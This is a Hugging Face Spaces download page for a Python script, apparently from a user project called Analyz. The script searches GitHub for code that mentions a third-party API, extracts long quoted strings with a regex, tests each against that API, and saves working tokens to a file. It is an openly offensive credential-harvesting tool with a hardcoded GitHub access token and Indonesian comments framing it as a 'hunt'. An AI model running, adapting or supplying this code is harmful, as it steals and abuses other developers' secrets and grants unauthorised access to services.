Spaces:
Configuration error
Configuration error
Download main.py from ViESTA/Analyz: direct link, hf CLI and curl.
- Browser
- Download file 1.81 kB
-
https://huggingface.co/spaces/ViESTA/Analyz/resolve/main/main.py
- Command line
-
hf download hf://spaces/ViESTA/Analyz/main.py
-
curl -L -o main.py https://huggingface.co/spaces/ViESTA/Analyz/resolve/main/main.py
1.81 kB
| --- | |
| title: Analyz | |
| emoji: 🕵️ | |
| colorFrom: red | |
| colorTo: black | |
| sdk: streamlit | |
| app_file: main.py | |
| pinned: false | |
| --- | |
| import requests | |
| import base64 | |
| import re | |
| import time | |
| # --- KONFIGURASI AMUNISI --- | |
| GITHUB_TOKEN = "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" | |
| TARGET_API = "https://vapi.exoliner.wtf" | |
| QUERY = 'vapi.exoliner.wtf "Authorization" OR "api_key"' | |
| def validate_token(token): | |
| headers = {"Authorization": token, "User-Agent": "Exoliner-Hunter/2026"} | |
| try: | |
| res = requests.get(TARGET_API, headers=headers, timeout=5) | |
| if res.status_code == 200: | |
| print(f"\n[!!!] TOKEN VALID DITEMUKAN: {token}") | |
| print(f" Data: {res.json()}\n") | |
| return True | |
| except: | |
| pass | |
| return False | |
| def start_carnage(): | |
| search_url = f"https://api.github.com{QUERY}" | |
| headers = {"Authorization": f"token {GITHUB_TOKEN}"} | |
| print("[*] Memulai perburuan token di GitHub...") | |
| res = requests.get(search_url, headers=headers).json() | |
| items = res.get('items', []) | |
| for item in items: | |
| file_res = requests.get(item['url'], headers=headers).json() | |
| if 'content' in file_res: | |
| content = base64.b64decode(file_res['content']).decode('utf-8', errors='ignore') | |
| # Regex buat nyari string panjang (biasanya token/key) | |
| tokens = re.findall(r'["\']([a-zA-Z0-9_\-\.]{20,})["\']', content) | |
| for t in tokens: | |
| print(f"[*] Mengetes potensi token: {t[:10]}...", end="\r") | |
| if validate_token(t): | |
| with open("token_valid.txt", "a") as f: | |
| f.write(f"Token: {t} | Repo: {item['html_url']}\n") | |
| time.sleep(2) # Biar nggak kena rate limit GitHub | |
| if __name__ == "__main__": | |
| start_carnage() | |